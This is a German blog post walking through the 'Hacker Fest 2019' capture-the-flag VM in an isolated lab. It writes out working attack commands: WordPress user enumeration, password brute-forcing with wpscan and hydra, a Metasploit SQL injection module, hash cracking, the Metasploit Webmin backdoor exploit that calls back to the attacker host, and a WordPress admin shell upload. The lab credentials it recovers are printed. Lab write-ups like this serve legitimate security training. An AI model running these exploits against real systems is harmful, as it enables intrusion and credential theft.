Hacker Fest 2019 – CTF Walkthrough

Veröffentlicht: 24.10.2019 in Computer, Security
Schlagwörter:, , , , , , , , ,

Setup

Heute soll es eine als einfach deklarierte vularable VM sein, an Hand der sich einige Techniken gut üben lassen. Hack Fest 2019 läuft als VM unter Virtualbox. Als Angreifs bzw. Pentest VM wird Kali benutzt. Um zu verhindern, dass die Ziel VM etwas „böses“ macht, wurden alle VMs in ein virtuelles Netz (Host-Only) gesteckt. Dieses Netz wird von einer OpenWRT VM geroutet, allerdings nicht die Ziel VM.

Es wurden bewusst redundante Schritte gemacht und zu zeigen, das es meist mehrere Weg ans Ziel gibt.

Schritt 1 – Scannen des Netzwerks

Zu erste wird eine Übersicht des Netzwerkes benötigt. Das Tool der Wahl nmap.

# nmap -sP 192.168.1.255/24

 

  • .1 Virtualbox Host (Linux Mint)
  • .5 OpenWRT
  • .99 Kali VM
  • .225 Ziel VM (Hack Fest 2019)

Unser Ziel ist 192.168.1.225.

Schritt 2 – Service Discovery

Als nächstes werden alle TCP Ports der Ziel VM auf interessante Services/Dienste überprüft. Auch hier ist das Tool der Wahl nmap.

# nmap -T4 -A -p1-65535 192.168.1.225

 

Schritt 3 – Service Evaluation

Ins Auge fällt anonymous FTP (21/tcp). Das sieht aus wie eine WordPress Installation. Weiter gibt es SSH (22/tcp), HTTP (80/tcp), das aussieht wie die passende WordPress Instanz und Webmin (10000/tcp). Nicht übermäßig viel, aber genug um Spaß zu haben.

Schritt 3.1 – FTP (21/tcp)

nmap zeigt das anonymous ftp erlaubt ist, zudem sehen die Dateien wie eine WordPress Installation aus. Da wir es später wahrscheinlich noch mit WordPress zutun haben, kann es nicht schaden die Dateien des ftp Servers lokal auf die Kali VM zu kopieren. Das geht hervorragend mit wget.

# wget -r ftp://192.168.1.225

Als erfahrener WordPress Admin 😉 ist natürlich bekannt, dass die Datei 192.168.1.225/wp-config.php die Verbindungsdaten zur Datenbank z.B. DB_NAME, DB_USER und DB_PASSWORD enthält. Diese Früchte liegen zu lassen, wäre echt doof 🙂 Aber letztendlich wurden sie bei dieser VM nicht gebraucht 😦

Schritt 3.2 – SSH (21/tcp)

ssh wird erst mal übersprungen. Dazu bleibt später noch Zeit.

Schritt 3.3 – HTTP (80/tcp) – WordPress

Wie schon erwähnt scheint es sich um WordPress zu handeln. Der Browser bestätigt die Annahme. nmap verrät uns das es sich um WordPress 5.2.3 handelt, welches auf einem Apache 2.4.25 läuft.

Und WordPress erlaubt es relativ einfach die Usernamen auszulesen.

Schritt 3.3.1 – Usernamen Enumeration manuell

Manuell geht das durch ausprobieren aller User IDs. Hier exemplarisch für die IDs 1-5 gemacht. Das lässt sich aber auch bequem für 1-1000 o.a. durchführen.

# seq 1 5 | while read x
do
wget wget -O $x.html http://192.168.1.225/?author=$x
done
# ls -l *html
-rw-r--r-- 1 root root 54916 Okt 22 13:17 1.html
-rw-r--r-- 1 root root 0 Okt 22 13:17 2.html
-rw-r--r-- 1 root root 0 Okt 22 13:17 3.html
-rw-r--r-- 1 root root 0 Okt 22 13:17 4.html
-rw-r--r-- 1 root root 0 Okt 22 13:17 5.html

Die Null Byte großen Dateien zeigen an, dass es die User ID nicht gibt. Aber 1.html scheint vielversprechend zu sein. Die Datei im Browser geöffnet zeigt an, das es einen User webmaster gibt. Damit hätten wir den ersten Namen.

Schritt 3.3.2 – Usernamen Enumeration mit wpscan

Eine andere Möglichkeit bietet das Tool wpscan.

# wpscan -e u --url 192.168.1.225

Das Bild zeigt nur die relevante Stelle der Ausgabe. Die eigentliche Ausgabe von wpscan ist deutlich länger.

Schritt 3.3.3 – Brutforce Password mit wpscan

Was ist ein Username ohne Passwort? Eine einfach Methode das Passwort auszutesten ist alle Passworte durchzuprobieren. Hierzu wird die Datei rockyou.txt benutzt, die von Kali mitgeliefert wird.

# wpscan -U webmaster -P /usr/share/wordlists/rockyou.txt --url http://192.168.1.225

 

Das Passwort ist kittykat1. Der Brutforce Angriff hat ungefähr 10 Minuten für etwa 10000 Versuche benötigt.

Schritt 3.3.4 – Brutforce Password mit hydra

Das gleiche lässt sich mit hydra durchführen. Es sieht etwas komplizierter aus.

Anmerkung: Da es mit leerem Passwort Probleme gibt, wurde es aus rockyou.txt entfernt.

# hydra -l webmaster -P rockyou-ohne-leer.txt 192.168.1.225 http-post-form "/wp-login.php:log=^USER^&pwd=^PASS^&submit=wp-submit:Chybně zadané heslo pro uživatelské jméno"
  • wp-login.php
    Anmeldeseite der WordPress Instanz.
  • log
    Variable, die mit dem Benutzernamen, hier webmaster gefüllt wird. log ist dem HTML Source der Webseite zu entnehmen.
  • pwd
    Variable, die mit dem Passwort gefüllt wird. Hier jeweils mit ein Passwort aus der Datei rockyou-ohne-leer.txt. pwd ist dem HTML Source der Webseite zu entnehmen.
  • wp-submit
    Bezeichnung des Submit Buttons. Auch aus dem HTML Source.
  • „Chybně zadané heslo pro uživatelské jméno“
    Fehlermeldung, die bei falscher Passwort Eingabe erscheint. Kann dem HTML Source entnommen werden, wenn ein falsches Passwort eingegeben wurde. hydra probiert alle Passworte durch bis WordPress etwas anderes liefert als die Fehlermeldung und geht dann davon aus, dass es das richtig Passwort war. Das muss nicht immer stimmen z.B. bei leerem Passwort, kommt eine andere Fehlermeldung.

Hier hat der Scan etwa 8 Minuten benötigt um das Passowrt zu finden.

Schritt 3.3.5 – Exploit – Google Plugin – Passwort Hash

Bei der Durchsicht der wpscan Ausgabe fällt auf, dass das Google Plugin nicht mehr ganz taufrisch ist. Dazu gibt es ein Exploit, welches den Hashwert der Passworte der WordPress Instanz liefert.

# wpscan --url http://192.168.1.225

 

Und zum Glück gibt es auch ein Metasploit Plugin für dieses Exploit.

# msfconsole
msf5 > use auxiliary/admin/http/wp_google_maps_sqli
msf5 auxiliary(admin/http/wp_google_maps_sqli) > set rhosts 192.168.1.225
msf5 auxiliary(admin/http/wp_google_maps_sqli) > run

 

Und raus kommt der Hashwert ($P$BsqOdiLTcye6AS1ofreys4GzRlRvSr1) des webmaster Passworts.

Aus dem Hash das Passwort heraus zu zaubern, könnte mit Bruteforce funktionieren.

Schritt 3.3.6 – Cracking mit hashcat

# hashcat -m 400 -a 0 pass.hash /usr/share/wordlists/rockyou.txt
  • -m 400
    Hash Type, hier WordPress
  • -a 0
    Methode ist Brutforce

 

Voila, das Passwort ist kittykat1.

Schritt 3.3.7 – Cracking mit John

Eine andere Methode dem Hash ein Passwort zuzuordnen ist john.

# john pass.hash --wordlist=/usr/share/wordlists/rockyou.txt

 

Und wie sollte es anders sein, auch hier ist das Passwort kittykat1.

Damit haben wir einen User (webmaster) und eine Passwort (kittykat1) und das funktioniert für WordPress. Einfach mal im Browser testen.

Natürlich könnte diese Kombination auch für andere Dienste passen z.B. webmin, ssh. Aber niemand benutzt gleiche Passworte für unterschiedliche Dienste, oder … 😉

Schritt 3.4 – Webmin auch HTTP (10000/tcp)

Webmin scheint in Version 1.890 zu laufen. Eine Google Suche liefert auch dazu ein Exploit.

Zusätzlich hält Metasploit ein passendes Plugin bereit.

# msfconsole
msf5 > use exploit/unix/webapp/webmin_backdoor
msf5 exploit(unix/webapp/webmin_backdoor) > set rhosts 192.168.1.225
msf5 exploit(unix/webapp/webmin_backdoor) > set ssl true
msf5 exploit(unix/webapp/webmin_backdoor) > set lhost 192.168.1.99
msf5 exploit(unix/webapp/webmin_backdoor) > run

 

Damit haben wir root Zugriff, die VM ist geknackt und gehört somit uns. Wir können machen was wir wollen. Fehlen uns nur noch die Flags zum Glück.

Schritt 4 – Flags finden

Der Einfachheit halber werden erst mal all HOME Verzeichnis überprüft.

id
ls -l /root
ls -l /home/*/

Ich hoffe, es gibt nicht mehr als zwei Flags! Habe dann nicht weiter gesucht.

Schritt 5 – Bonus – Remote Shell durch WordPress

Es gibt noch eine zweite Möglichkeit eine Remote Shell auf der VM aufzumachen.

Da wir den admin Benutzer mit Passwort der WordPress Installation kennen, können wir auf der WordPress Installation eine Remote Shell installieren.

Das Tool der Wahl ist hier Metasploit.

# msfconsole
msf5 > use exploit/unix/webapp/wp_admin_shell_upload
msf5 exploit(unix/webapp/wp_admin_shell_upload) > set rhosts 192.168.1.225
msf5 exploit(unix/webapp/wp_admin_shell_upload) > set username webmaster
msf5 exploit(unix/webapp/wp_admin_shell_upload) > set password kittykat1
msf5 exploit(unix/webapp/wp_admin_shell_upload) > run
meterpreter > shell

Die Shell läuft im Kontext des Webserver Users. In diesem Fall www-data. Das ist natürlich nur ein Zwischenschritt auf dem Weg die VM zu übernehmen, aber ein guter Ausgabgspunkt die VM zu erkunden.

Fazit

Hack Fest 2019 ist eine angenehme nicht zu schwere VM an der sich einige Techniken ausprobieren lassen. Anfangs dachte ich das die Sprache ein Problem ist. Nachträglich stelle ich fest, dass das keine wirkliche Erhöhung der Schwierigkeit mit sich gebracht hat.

Ich hoffe es hat Euch gefallen. Über Kommentare und/oder Anregungen würde ich mich sehr freuen.

Kommentar verfassen

Trage deine Daten unten ein oder klicke ein Icon um dich einzuloggen:

WordPress.com-Logo

Du kommentierst mit Deinem WordPress.com-Konto. Abmelden /  Ändern )

Google Foto

Du kommentierst mit Deinem Google-Konto. Abmelden /  Ändern )

Twitter-Bild

Du kommentierst mit Deinem Twitter-Konto. Abmelden /  Ändern )

Facebook-Foto

Du kommentierst mit Deinem Facebook-Konto. Abmelden /  Ändern )

Verbinde mit %s